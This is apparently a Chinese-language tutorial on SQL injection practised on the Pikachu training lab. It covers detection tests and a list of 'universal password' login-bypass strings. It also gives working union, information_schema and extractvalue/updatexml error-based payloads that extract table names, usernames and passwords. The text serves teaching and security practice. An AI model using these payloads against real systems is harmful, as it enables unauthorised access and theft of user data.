目錄
基於pikachu靶場進行實驗,後續更新雙注入,盲注,cookie注入,HTTP-Referer注入
一.什麼是SQL注入
SQL注入是服務器端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改併成功執行的行爲稱爲SQL注入。
二.SQL注入原因
產生SQL注入的原因是接受相關參數未經處理直接帶入數據庫進行查詢操作,其產生與平臺、腳本無關!
三.SQL注入危害
攻擊者可以訪問數據庫中的數據,盜取用戶的信息,造成用戶的信息泄露,還可以對數據庫的數據進行任意操作,添加管理員賬戶進行登錄等等。
四.簡單OR漏洞原理
剖析登錄過程
- 正常情況下,我們在前端頁面輸入用戶名和密碼,前端數據會傳到後端的數據庫進行查詢,驗證是否存在此用戶,其在數據庫進行查詢的語句如下:
select * from 表名 where name=‘xxx’ and password=’xxx‘;
- 若不對參數進行過濾,存在SQL注入,我們就可以構造以下的信息來進行登錄:
用戶名:'or 1=1 #
密碼:任意
- 成功登錄的原因是輸入的信息傳到後端數據庫進行查詢的語句如下:
select * from 表名 where name='' or 1=1 # ' and password=’xxx';
相當於
select * from 表名;
'號的作用是閉合變量的值,#號的作用是註釋後面的語句,註釋的符號根據數據庫類型而定, or 1=1這個語句是無論什麼時候都是正確的,因爲or連接的條件中只要其一正確,命題就爲真,恰好1=1這個條件就是恆成立的。
五.萬能密碼參考
此處出自https://me.csdn.net/dyw_666666
asp aspx萬能密碼
- or 1=1- -
- 'or 1=1- -
- "or 1=1- -
- ‘or"=’
- ‘or’=‘or’
- "or “a”="a
- ')or(‘a’='a
- a’or’ 1=1- -
- ‘or’a’='a
- “or”="a’='a
- 1 or 1’=‘1’=1
- 1 or ‘1’=‘1’ or 1=1
- 'or 1=1%00
- "or 1=1%00
- 'xor
- admin’ or ‘a’='a
php萬能密碼
- ‘or’=‘or’
- 'or 1=1/* 字符型 GPC是否開都可以使用
- User: something Password: ’ or ‘1’='1
jsp萬能密碼
- 1’or’1’='1
- admin’ or 1=1/*
- 用戶名:admin 系統存在這個用戶的時候 才用得上 密碼:1’or’1’='1
六.思路
七.判斷存在SQL注入
1. 單引號法
參數後加單引號
https://xxx.com/xxx.php?id=666'
(1)如果頁面報錯,則說明存在SQL注入,原因是無論字符型還是整型都會因爲單引號個數不匹配而報錯。
(2)如果頁面不報錯,不要灰心,也有可能存在SQL注入,只是因爲頁面對單引號進行了過濾
2. 數字型判斷
當參數爲整型時,我們可以使用and 1=1和and 1=2產生的結果來進行對比
https://xxx.com/xxx.php?id=1' and 1=1
https://xxx.com/xxx.php?id=1' and 1=2
若返回的頁面不同,則說明存在SQL注入,且爲數字型注入
3. 字符型判斷
當參數爲字符型時,我們可以使用 and ‘1’='1 和 and ‘1’='2來進行對比
https://xxx.com/xxx.php?id=1’ and '1'='1;
https://xxx.com/xxx.php?id=1‘ and ‘1’='2;
其在數據庫查詢的語句分別爲:
select * from users where id='1' and '1'='1';
select * from users where id='1' and '1'='2';
若返回的頁面不同,則說明存在SQL注入,且爲字符型注入
4. 搜索型判斷
正常情況下在數據庫中查詢語句如下:
select * from 表名 where 字段名 like '%對應的值%' order by 字段名
我們可以使用以下語句來進行對比
%' and 1=1 and '%'='
%' and 1=2 and '%'='
其在數據庫查詢的語句分別爲:
select * from 表名 where 字段名 like '%$%' and 1=1 and '%'='%' order by 字段名
select * from 表名 where 字段名 like '%$%' and 1=2 and '%'='%' order by 字段名
若返回的頁面不同,則說明存在SQL注入,且爲搜索型注入
八.SQL注入方式分類
1.數字型注入
使用burpsuite抓包得到以下結果:
將其發送到Repeater模塊,在id處進行構造再發送
在Response模塊的Render處查看結果
2.字符型注入
構造的語句如下:
'or 1=1 #
3.搜索型注入
在數據庫中進行模糊搜索的語句如下:
select * from 表名 where 字段名下的數據 like ’%對應的值%‘;
我們構造的語句如下:
'or 1=1 #
4.XX型注入
XX型注入與以上的方式有些不同,因爲其在數據庫查詢的語句如下:
select * from where name=('');
我們構造的語句如下:
') or 1=1 #
5.union注入查詢
我們可以在搜索框內構造以下信息:
' union select username,pw from member where id=1#
但是我們發現並沒有成功,原因是聯合查詢要求查詢列數相同,那我們就需要使用order by或者union去判斷它的查詢列數
方法一:a' order by 3 # //這裏的3是字段序號
方法二:‘ union select 1,2,3 # //這裏的1,2,3是佔位的作用
當不出現錯誤信息的時候,以上輸入的最大數字即爲查詢列數
接下來我們就可以進行union注入
' union select database(),user(),version()#
6.information_schema注入
information_schema是MySQL數據庫系統自帶的一個數據庫,其中保存着關於MySQL服務器所維護的所有其他數據庫的信息,非常非常重要。比較低版本的MySQL數據庫系統不含有這個數據庫
通過information_schema注入,我們就可以導出數據庫內容
(1)使用union查詢(上面的方法),得到數據庫名稱
(2)獲取數據庫表名
v' union select table_schema,table_name,version from information_schema.tables where table_schema='pikachu'#
(3)獲取pikachu數據庫的表的字段名
a' union select table_name,column_name,3 from information_schema.columns where table_name='users' #
(4)獲取目標字段的內容
a' union select username,password,3 from users #
7.函數報錯注入
使用背景:後端的報錯信息沒有屏蔽,發生語法錯誤的時候報錯信息輸出在前端
函數報錯過程中用到的幾個函數:
extractvalue()
作用:從目標XML文檔中返回查詢的字符串
格式:extractvalue(XML_document,Xpath_string)
說明:第一個參數:XML_document是string格式,其爲XML文檔對象名稱
第二個參數Xpath_string(Xpath格式的字符串,如a/bc/xx)
updatexml()
作用:對xml文檔數據進行查詢與修改
格式:updatexml(XML_document,Xpath_string,new value)
說明:第一個參數:XML_document是string格式,其爲XML文檔對象名稱
第二個參數Xpath_string(Xpath格式的字符串,如a/bc/xx)
我們的目的就是在第二個參數進行操作從而獲取報錯信息,通常我們輸入的查詢信息,報錯就會返回相應的內容
下面我們來使用extractvalue()進行語句構造
' and extractvalue(1,concat(0x7e,(select version()))) #
concat()是拼接字符串,我們這裏將0x7e與(select version())拼接,0x7e可以替換其他符號,部分符號可能不適用
我們可以看到以下版本信息:
緊接着我們按照數據庫名–表名–字段名–表數據的思路進行操作
獲取數據庫名:
' and extractvalue(1,concat(0x7e,(select database()))) #
獲取表名:
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' ))) #
提示我們只能顯示一行
那我們就使用limit來顯示一行
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1))) #
limit 0,1的0代表從表中第0個數據開始,1代表讀取1個
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1,1))) #
獲取字段名:
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'member' limit 1,1)))#
獲取數據:
' and extractvalue(1,concat(0x7e,(select username from member limit 0,1)))#
對於updatexml函數只要增加一個參數updatexml(12,concat(0x7e,(select database())),32)
,過程與上述一樣·
本文僅用於學習交流,請勿用於違法用途